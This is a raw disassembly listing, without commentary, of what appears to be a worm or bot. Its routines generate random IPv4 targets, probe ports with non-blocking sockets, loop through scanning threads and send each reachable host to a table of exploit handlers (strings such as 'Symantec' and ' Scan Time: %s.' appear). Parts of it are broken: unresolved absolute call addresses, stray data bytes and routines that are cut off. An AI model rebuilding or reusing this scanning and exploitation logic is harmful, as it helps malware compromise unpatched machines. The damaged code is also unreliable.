		push	eax
		call	sub_41B886
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AC
		add	esp, 30h
		pop	esi
		leave
		retn
sub_40B719	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B785	proc near		; CODE XREF: sub_401ACD+2AC9p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	dword_4CACB4
		call	sub_41A88B
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	dword_4CDCC4
		push	offset unk_43180C
		push	eax
		call	sub_41B886
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AC
		add	esp, 28h
		leave
		retn
sub_40B785	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B7DA	proc near		; CODE XREF: sub_401ACD+2AB3p

var_1000	= byte ptr -1000h
var_800		= byte ptr -800h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_41BB20
		push	edi
		lea	eax, [ebp+var_800]
		push	offset dword_431858
		push	eax
		call	sub_41B886
		cmp	dword_431408, 0
		pop	ecx
		pop	ecx
		mov	edi, 800h
		jz	short loc_40B846
		push	esi
		mov	esi, offset aSymantec ;	"Symantec"

loc_40B80F:				; CODE XREF: sub_40B7DA+69j
		lea	eax, [esi-0Ah]
		push	eax
		push	esi
		lea	eax, [ebp+var_1000]
		push	offset dword_431848
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_1000]
		push	edi
		push	eax
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_41C1E0
		add	esi, 40h
		add	esp, 1Ch
		cmp	dword ptr [esi+1Eh], 0
		jnz	short loc_40B80F
		pop	esi

loc_40B846:				; CODE XREF: sub_40B7DA+2Dj
		push	dword_4CACB4
		call	sub_41A88B
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1000]
		push	offset aScanTimeS_ ; " Scan Time: %s."
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_1000]
		push	edi
		push	eax
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_41C1E0
		push	0
		lea	eax, [ebp+var_800]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_4151AC
		add	esp, 30h
		pop	edi
		leave
		retn
sub_40B7DA	endp

; ---------------------------------------------------------------------------
byte_40B8A1	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+30E0o
; ---------------------------------------------------------------------------
		sub	esp, 3F0h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	4Bh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-134h]
		rep movsd
		mov	dword ptr [eax+128h], 1
		lea	eax, [ebp-134h]
		push	eax
		call	dword_4CAFB4
		xor	edi, edi
		mov	[ebp-8], eax
		cmp	dword_431408, edi
		mov	[ebp-4], edi
		mov	[ebp+8], edi
		jz	loc_40BA03
		mov	ebx, offset dword_431408
		mov	eax, ebx

loc_40B8F2:				; CODE XREF: ___:0040B9FDj
		push	dword ptr [ebp-1Ch]
		push	dword ptr [eax]
		push	dword ptr [ebp-8]
		call	sub_40C087
		add	esp, 0Ch
		cmp	eax, 1
		jnz	loc_40B9F3
		push	dword ptr [ebx]
		lea	esi, [ebx-28h]
		lea	eax, [ebp-134h]
		push	eax
		lea	eax, [esi+0Ah]
		push	eax
		lea	eax, [ebp-3F0h]
		push	offset unk_4318A8
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp-3F0h]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-124h]
		push	eax
		push	dword ptr [ebp-24h]
		call	sub_409A72
		lea	eax, [ebp-3F0h]
		push	eax
		call	sub_4151AC
		add	esp, 2Ch
		lea	eax, [ebp-134h]
		push	eax
		lea	eax, [ebp-1ECh]
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp-15Ch]
		pop	ecx
		push	esi
		push	eax
		call	sub_41B886
		cmp	byte ptr [ebp-0A4h], 0
		pop	ecx
		pop	ecx
		lea	eax, [ebp-0A4h]
		jnz	short loc_40B98E
		lea	eax, [ebp-124h]

loc_40B98E:				; CODE XREF: ___:0040B986j
		push	eax
		lea	eax, [ebp-1DCh]
		push	eax
		call	sub_41B886
		mov	eax, [ebp-24h]
		pop	ecx
		mov	[ebp-1F0h], eax
		mov	eax, [ebp-14h]
		mov	[ebp-140h], eax
		mov	eax, [ebp-10h]
		pop	ecx
		mov	[ebp-13Ch], eax
		mov	eax, [ebx]
		sub	esp, 0BCh
		mov	[ebp-150h], eax
		mov	eax, [ebp-18h]
		push	2Fh
		mov	[ebp-14Ch], eax
		mov	eax, [ebp+8]
		pop	ecx
		lea	esi, [ebp-1F0h]
		mov	edi, esp
		mov	[ebp-148h], eax
		rep movsd
		call	dword ptr [ebx+4]
		add	esp, 0BCh
		inc	dword ptr [ebp-4]
		xor	edi, edi

loc_40B9F3:				; CODE XREF: ___:0040B905j
		inc	dword ptr [ebp+8]
		add	ebx, 40h
		mov	eax, ebx
		cmp	[ebx], edi
		jnz	loc_40B8F2

loc_40BA03:				; CODE XREF: ___:0040B8E5j
		push	dword ptr [ebp-4]
		lea	eax, [ebp-134h]
		push	eax
		lea	eax, [ebp-3F0h]
		push	offset unk_431874
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp-3F0h]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-124h]
		push	eax
		push	dword ptr [ebp-24h]
		call	sub_409A72
		lea	eax, [ebp-3F0h]
		push	eax
		call	sub_4151AC
		push	dword ptr [ebp-18h]
		call	sub_40B412
		add	esp, 2Ch
		push	edi
		nop
; ---------------------------------------------------------------------------
		db 0E8h, 0AAh, 45h
		db 2Eh,	2

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BA56	proc near		; CODE XREF: sub_401ACD+244Ep

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	0Bh
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_40BA92
		mov	eax, [ebp+arg_C]
		push	dword_4CB0C0[eax*8]
		call	dword_4CB000
		push	eax
		lea	eax, [ebp+var_200]
		push	offset unk_4318F8
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	short loc_40BAA5
; ---------------------------------------------------------------------------

loc_40BA92:				; CODE XREF: sub_40BA56+13j
		lea	eax, [ebp+var_200]
		push	offset unk_4318D8
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_40BAA5:				; CODE XREF: sub_40BA56+3Aj
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AC
		add	esp, 18h
		leave
		retn
sub_40BA56	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BACD	proc near		; CODE XREF: sub_40C124+267p

var_210		= dword	ptr -210h
var_204		= byte ptr -204h
var_4		= byte ptr -4
arg_10		= byte ptr  18h
arg_90		= byte ptr  98h
arg_110		= dword	ptr  118h
arg_130		= dword	ptr  138h
arg_138		= dword	ptr  140h
arg_13C		= dword	ptr  144h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		mov	eax, [ebp+arg_130]
		push	ebx
		cmp	eax, 0FFFFFFFFh
		push	esi
		jz	loc_40BF9F
		shl	eax, 6
		xor	ebx, ebx
		cmp	dword_431414[eax], ebx
		jz	loc_40BF9F
		push	5
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jnz	loc_40BD54
		mov	eax, dword_429078
		push	edi
		mov	esi, offset dword_4CD17C
		push	104h
		push	esi
		push	ebx
		mov	dword_4CD38C, eax
		mov	dword_4CD388, ebx
		nop
		call	near ptr 2680000h
		mov	edi, offset byte_429108
		push	103h
		push	edi
		push	offset dword_4CD280
		call	sub_41B5F0
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_4CD178, eax
		mov	eax, [ebp+arg_138]
		push	7Fh
		mov	dword_4CD410, eax
		jnz	short loc_40BB80
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CD390
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CD414, 1
		jmp	short loc_40BB9A
; ---------------------------------------------------------------------------

loc_40BB80:				; CODE XREF: sub_40BACD+94j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4CD390
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CD414, ebx

loc_40BB9A:				; CODE XREF: sub_40BACD+B1j
		push	esi
		lea	eax, [ebp+var_204]
		push	dword_4CD38C
		push	offset unk_42BE5C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_204]
		push	5
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	dword_4CD384, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CD178
		push	offset word_411796
		push	ebx
		push	ebx
		call	near ptr 26900B1h
		nop
		mov	ecx, dword_4CD384
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_40BC08

loc_40BBF6:				; CODE XREF: sub_40BACD+139j
		cmp	dword_4CD418, ebx
		jnz	short loc_40BC23
		push	32h
		call	near ptr 2690000h
		nop
		jmp	short loc_40BBF6
; ---------------------------------------------------------------------------

loc_40BC08:				; CODE XREF: sub_40BACD+127j
		call	near ptr 2690800h
		nop
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_431A18
		push	eax
		call	sub_41B886
		add	esp, 0Ch

loc_40BC23:				; CODE XREF: sub_40BACD+12Fj
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4151AC
		mov	eax, dword_4CACB0
		mov	esi, offset dword_4CD424
		mov	[esp+210h+var_210], 104h
		push	esi
		push	ebx
		mov	dword_4CD634, eax
		mov	dword_4CD630, ebx
		nop
		call	near ptr 2680000h
		push	103h
		push	edi
		push	offset dword_4CD528
		call	sub_41B5F0
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_4CD420, eax
		mov	eax, [ebp+arg_138]
		pop	edi
		mov	dword_4CD6B8, eax
		push	7Fh
		jnz	short loc_40BCA4
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CD638
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CD6BC, 1
		jmp	short loc_40BCBE
; ---------------------------------------------------------------------------

loc_40BCA4:				; CODE XREF: sub_40BACD+1B8j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4CD638
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CD6BC, ebx

loc_40BCBE:				; CODE XREF: sub_40BACD+1D5j
		push	esi
		lea	eax, [ebp+var_204]
		push	dword_4CD634
		push	offset unk_4319E4
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_204]
		push	4
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	dword_4CD62C, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CD420
		push	offset byte_40E991
		push	ebx
		push	ebx
		nop
		call	near ptr 26900B1h
		mov	ecx, dword_4CD62C
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_40BD2C

loc_40BD1A:				; CODE XREF: sub_40BACD+25Dj
		cmp	dword_4CD6C0, ebx
		jnz	short loc_40BD47
		push	32h
		nop
		call	near ptr 2690000h
		jmp	short loc_40BD1A
; ---------------------------------------------------------------------------

loc_40BD2C:				; CODE XREF: sub_40BACD+24Bj
		nop
		call	near ptr 2690800h
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_4319B0
		push	eax
		call	sub_41B886
		add	esp, 0Ch

loc_40BD47:				; CODE XREF: sub_40BACD+253j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4151AC
		pop	ecx

loc_40BD54:				; CODE XREF: sub_40BACD+35j
		mov	eax, [ebp+arg_130]
		mov	ecx, eax
		shl	ecx, 6
		cmp	dword_43141C[ecx], ebx
		jz	loc_40BE7D
		push	7
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jnz	loc_40BE77
		mov	eax, dword_4CDCBC
		cmp	[ebp+arg_90], bl
		mov	dword_4CD0E4, eax
		mov	eax, [ebp+arg_110]
		mov	dword_4CD0D8, eax
		mov	eax, [ebp+arg_138]
		mov	dword_4CD0E0, ebx
		mov	dword_4CD168, eax
		push	7Fh
		jnz	short loc_40BDC8
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CD0E8
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CD16C, 1
		jmp	short loc_40BDE2
; ---------------------------------------------------------------------------

loc_40BDC8:				; CODE XREF: sub_40BACD+2DCj
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4CD0E8
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CD16C, ebx

loc_40BDE2:				; CODE XREF: sub_40BACD+2F9j
		push	dword_4CD0E4
		lea	eax, [ebp+var_204]
		push	offset unk_431980
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_204]
		push	7
		push	eax
		call	sub_40B0F6
		add	esp, 18h
		mov	dword_4CD0DC, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CD0D8
		push	offset byte_40E6EF
		push	ebx
		push	ebx
		nop
		call	near ptr 26900B1h
		mov	ecx, dword_4CD0DC
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_40BE4F

loc_40BE3D:				; CODE XREF: sub_40BACD+380j
		cmp	dword_4CD170, ebx
		jnz	short loc_40BE6A
		push	32h
		nop
		call	near ptr 2690000h
		jmp	short loc_40BE3D
; ---------------------------------------------------------------------------

loc_40BE4F:				; CODE XREF: sub_40BACD+36Ej
		nop
		call	near ptr 2690800h
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_431948
		push	eax
		call	sub_41B886
		add	esp, 0Ch

loc_40BE6A:				; CODE XREF: sub_40BACD+376j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4151AC
		pop	ecx

loc_40BE77:				; CODE XREF: sub_40BACD+2A8j
		mov	eax, [ebp+arg_130]

loc_40BE7D:				; CODE XREF: sub_40BACD+298j
		shl	eax, 6
		cmp	dword_431418[eax], ebx
		jz	loc_40BF9F
		push	3
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jnz	loc_40BF9F
		mov	esi, offset dword_4CD954
		push	104h
		push	esi
		push	ebx
		nop
		call	near ptr 2680000h
		push	5Ch
		push	esi
		call	sub_41BE40
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40BEBE
		mov	[eax], bl

loc_40BEBE:				; CODE XREF: sub_40BACD+3EDj
		mov	eax, dword_42907C
		mov	dword_4CDA6C, ebx
		mov	dword_4CDA58, eax
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CD6CC
		call	sub_41B886
		mov	eax, [ebp+arg_110]
		pop	ecx
		pop	ecx
		mov	dword_4CD6C8, eax
		mov	ecx, [ebp+arg_138]
		push	esi
		push	dword_4CDA58
		mov	dword_4CDA64, ecx
		mov	ecx, [ebp+arg_13C]
		push	eax
		mov	dword_4CDA68, ecx
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_42BDE4
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_204]
		push	3
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	dword_4CDA60, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CD6C8
		push	offset sub_40F0D5
		push	ebx
		push	ebx
		nop
		call	near ptr 26900B1h
		mov	ecx, dword_4CDA60
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_40BF77

loc_40BF65:				; CODE XREF: sub_40BACD+4A8j
		cmp	dword_4CDA74, ebx
		jnz	short loc_40BF92
		push	32h
		nop
		call	near ptr 2690000h
		jmp	short loc_40BF65
; ---------------------------------------------------------------------------

loc_40BF77:				; CODE XREF: sub_40BACD+496j
		nop
		call	near ptr 2690800h
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_431914
		push	eax
		call	sub_41B886
		add	esp, 0Ch

loc_40BF92:				; CODE XREF: sub_40BACD+49Ej
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4151AC
		pop	ecx

loc_40BF9F:				; CODE XREF: sub_40BACD+14j
					; sub_40BACD+25j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_40BACD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BFA3	proc near		; CODE XREF: sub_40C124:loc_40C195p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	esi
		push	4
		lea	esi, ds:4CB0C0h[eax*8]
		lea	eax, [ebp+arg_0]
		push	esi
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	dword_4CAE9C
		inc	eax
		push	eax
		mov	[ebp+arg_0], eax
		call	dword_4CAF70
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		push	esi
		call	sub_41C310
		mov	eax, [esi]
		add	esp, 0Ch
		pop	esi
		pop	ebp
		retn
sub_40BFA3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BFEB	proc near		; CODE XREF: sub_40C124+69p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		or	esi, 0FFFFFFFFh
		push	[ebp+arg_0]
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], esi
		mov	[ebp+var_4], esi
		mov	[ebp+var_10], esi
		call	sub_41AFE0
		cmp	eax, 0Fh
		pop	ecx
		jbe	short loc_40C013
		xor	eax, eax
		jmp	short loc_40C084
; ---------------------------------------------------------------------------

loc_40C013:				; CODE XREF: sub_40BFEB+22j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	[ebp+arg_0]
		call	sub_41C645
		add	esp, 18h
		cmp	[ebp+var_C], esi
		jnz	short loc_40C040
		call	sub_41B8E2
		mov	[ebp+var_C], eax

loc_40C040:				; CODE XREF: sub_40BFEB+4Bj
		cmp	[ebp+var_8], esi
		jnz	short loc_40C04D
		call	sub_41B8E2
		mov	[ebp+var_8], eax

loc_40C04D:				; CODE XREF: sub_40BFEB+58j
		cmp	[ebp+var_4], esi
		jnz	short loc_40C05A
		call	sub_41B8E2
		mov	[ebp+var_4], eax

loc_40C05A:				; CODE XREF: sub_40BFEB+65j
		mov	eax, [ebp+var_10]
		cmp	eax, esi
		jnz	short loc_40C066
		call	sub_41B8E2

loc_40C066:				; CODE XREF: sub_40BFEB+74j
		shl	eax, 8
		add	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		shl	eax, 8
		add	eax, [ebp+var_8]
		shl	eax, 8
		add	eax, ecx
		mov	ecx, [ebp+arg_4]
		mov	dword_4CB0C0[ecx*8], eax

loc_40C084:				; CODE XREF: sub_40BFEB+26j
		pop	esi
		leave
		retn
sub_40BFEB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C087	proc near		; CODE XREF: ___:0040B8FAp
					; sub_40C124+BBp

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 120h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	edi
		xor	ebx, ebx
		push	ebx
		push	edi
		push	2
		mov	[ebp+var_4], edi
		call	dword_4CAFF4
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40C0B0
		xor	eax, eax
		jmp	short loc_40C11F
; ---------------------------------------------------------------------------

loc_40C0B0:				; CODE XREF: sub_40C087+23j
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 2
		mov	[ebp+var_18], eax
		call	dword_4CAF74
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_4]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_4CB010
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	esi
		call	dword_4CAF1C
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_8], ebx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_120]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		mov	[ebp+var_11C], esi
		mov	[ebp+var_120], edi
		call	dword_4CAF5C
		push	esi
		mov	edi, eax
		call	dword_4CB00C
		xor	eax, eax
		cmp	edi, ebx
		setnle	al

loc_40C11F:				; CODE XREF: sub_40C087+27j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40C087	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C124	proc near		; DATA XREF: sub_40C124+353o

var_29C		= dword	ptr -29Ch
var_28C		= byte ptr -28Ch
var_20C		= dword	ptr -20Ch
var_208		= byte ptr -208h
var_1F8		= byte ptr -1F8h
var_1CC		= byte ptr -1CCh
var_178		= byte ptr -178h
var_16C		= dword	ptr -16Ch
var_168		= dword	ptr -168h
var_164		= dword	ptr -164h
var_15C		= dword	ptr -15Ch
var_158		= dword	ptr -158h
var_150		= byte ptr -150h
var_14C		= byte ptr -14Ch
var_140		= byte ptr -140h
var_13C		= byte ptr -13Ch
var_C0		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_150]
		rep movsd
		mov	esi, [ebp+var_2C]
		mov	dword ptr [eax+148h], 1
		mov	eax, [ebp+var_28]
		mov	[ebp+var_4], esi
		mov	[ebp+arg_0], eax
		call	near ptr 26A0688h
		nop
		push	eax
		call	sub_41B8D8
		mov	ebx, esi
		pop	ecx
		imul	ebx, 234h

loc_40C16B:				; CODE XREF: sub_40C124+204j
		mov	eax, dword_43DEB4[ebx]
		cmp	dword_4CB0C4[eax*8], 0
		jz	loc_40C32D
		cmp	[ebp+var_10], 0
		push	eax
		jz	short loc_40C195
		lea	eax, [ebp+var_150]
		push	eax
		call	sub_40BFEB
		pop	ecx
		jmp	short loc_40C19A
; ---------------------------------------------------------------------------

loc_40C195:				; CODE XREF: sub_40C124+60j
		call	sub_40BFA3

loc_40C19A:				; CODE XREF: sub_40C124+6Fj
		pop	ecx
		mov	edi, eax
		push	[ebp+arg_0]
		push	dword_43DEB4[ebx]
		push	[ebp+var_3C]
		push	edi
		call	dword_4CB000
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_431A74
		push	eax
		call	sub_41B886
		add	esp, 18h
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, dword_43DCB0[ebx]
		push	eax
		call	sub_41B886
		push	[ebp+var_38]
		push	[ebp+var_3C]
		push	edi
		call	sub_40C087
		add	esp, 14h
		cmp	eax, 1
		jnz	loc_40C31D
		cmp	[ebp+var_20], 0FFFFFFFFh
		jnz	short loc_40C271
		push	offset dword_4CD0C0
		call	near ptr 77F7E21Fh
		nop
		push	[ebp+var_3C]
		push	edi
		call	dword_4CB000
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_431A4C
		push	eax
		call	sub_41B886
		add	esp, 10h
		cmp	[ebp+var_14], 0
		jnz	short loc_40C253
		cmp	[ebp+var_C0], 0
		push	1
		push	[ebp+var_18]
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, [ebp+var_C0]
		jnz	short loc_40C247
		lea	eax, [ebp+var_140]

loc_40C247:				; CODE XREF: sub_40C124+11Bj
		push	eax
		push	[ebp+var_40]
		call	sub_409A72
		add	esp, 14h

loc_40C253:				; CODE XREF: sub_40C124+100j
		lea	eax, [ebp+var_28C]
		push	eax
		call	sub_4151AC
		mov	[esp+29Ch+var_29C], offset dword_4CD0C0
		call	near ptr 77F7E300h
		nop
		jmp	loc_40C31D
; ---------------------------------------------------------------------------

loc_40C271:				; CODE XREF: sub_40C124+D0j
		push	edi
		call	dword_4CB000
		push	eax
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_41B886
		mov	eax, [ebp+var_20]
		pop	ecx
		shl	eax, 6
		pop	ecx
		add	eax, offset aSym ; "sym"
		push	eax
		lea	eax, [ebp+var_178]
		push	eax
		call	sub_41B886
		cmp	[ebp+var_C0], 0
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_C0]
		jnz	short loc_40C2B6
		lea	eax, [ebp+var_140]

loc_40C2B6:				; CODE XREF: sub_40C124+18Aj
		push	eax
		lea	eax, [ebp+var_1F8]
		push	eax
		call	sub_41B886
		mov	eax, [ebp+var_40]
		pop	ecx
		mov	[ebp+var_20C], eax
		mov	eax, [ebp+var_18]
		pop	ecx
		mov	[ebp+var_15C], eax
		mov	eax, [ebp+var_14]
		sub	esp, 0BCh
		mov	[ebp+var_158], eax
		mov	eax, [ebp+var_3C]
		push	2Fh
		mov	[ebp+var_16C], eax
		mov	eax, [ebp+var_20]
		pop	ecx
		mov	[ebp+var_168], esi
		mov	[ebp+var_164], eax
		lea	esi, [ebp+var_20C]
		mov	edi, esp
		shl	eax, 6
		rep movsd
		call	off_43140C[eax]
		mov	esi, [ebp+var_4]
		add	esp, 0BCh

loc_40C31D:				; CODE XREF: sub_40C124+C6j
					; sub_40C124+148j
		push	7D0h
		nop
		call	near ptr 2690000h
		jmp	loc_40C16B
; ---------------------------------------------------------------------------

loc_40C32D:				; CODE XREF: sub_40C124+55j
		push	esi
		call	sub_40B412
		pop	ecx
		push	0
		call	near ptr 26F0000h
		nop

loc_40C33C:				; DATA XREF: sub_401ACD+1F81o
					; sub_401ACD+5C48o
		push	ebp
		mov	ebp, esp
		sub	esp, 1CCh
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_14C]
		push	1
		pop	ebx
		rep movsd
		mov	[eax+144h], ebx
		lea	eax, [ebp+var_14C]
		push	eax
		call	dword_4CAFB4
		mov	ecx, [ebp+var_2C]
		sub	esp, 14Ch
		lea	esi, [ebp+var_14C]
		push	53h
		mov	dword_4CB0C0[ecx*8], eax
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40BACD
		push	0Bh
		call	sub_40B33E
		add	esp, 150h
		cmp	eax, ebx
		jnz	short loc_40C40A
		mov	esi, offset dword_4CD0C0
		push	esi
		nop
		call	near ptr 26F0630h
		push	80000400h
		push	esi
		nop
		call	near ptr 26F04B3h
		test	eax, eax
		jnz	short loc_40C40A
		lea	eax, [ebp+var_1CC]
		push	offset unk_431B58
		push	eax
		call	sub_41B886
		xor	ebx, ebx
		pop	ecx
		cmp	[ebp+var_10], ebx
		pop	ecx
		jnz	short loc_40C3F4
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_409A72
		add	esp, 14h

loc_40C3F4:				; CODE XREF: sub_40C124+2B1j
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_4151AC
		pop	ecx
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------

loc_40C40A:				; CODE XREF: sub_40C124+27Bj
					; sub_40C124+297j
		mov	eax, [ebp+var_2C]
		mov	esi, dword_427078
		mov	edi, ebx
		mov	dword_4CB0C4[eax*8], ebx
		xor	ebx, ebx
		cmp	[ebp+var_20], 1
		jb	loc_40C4D7

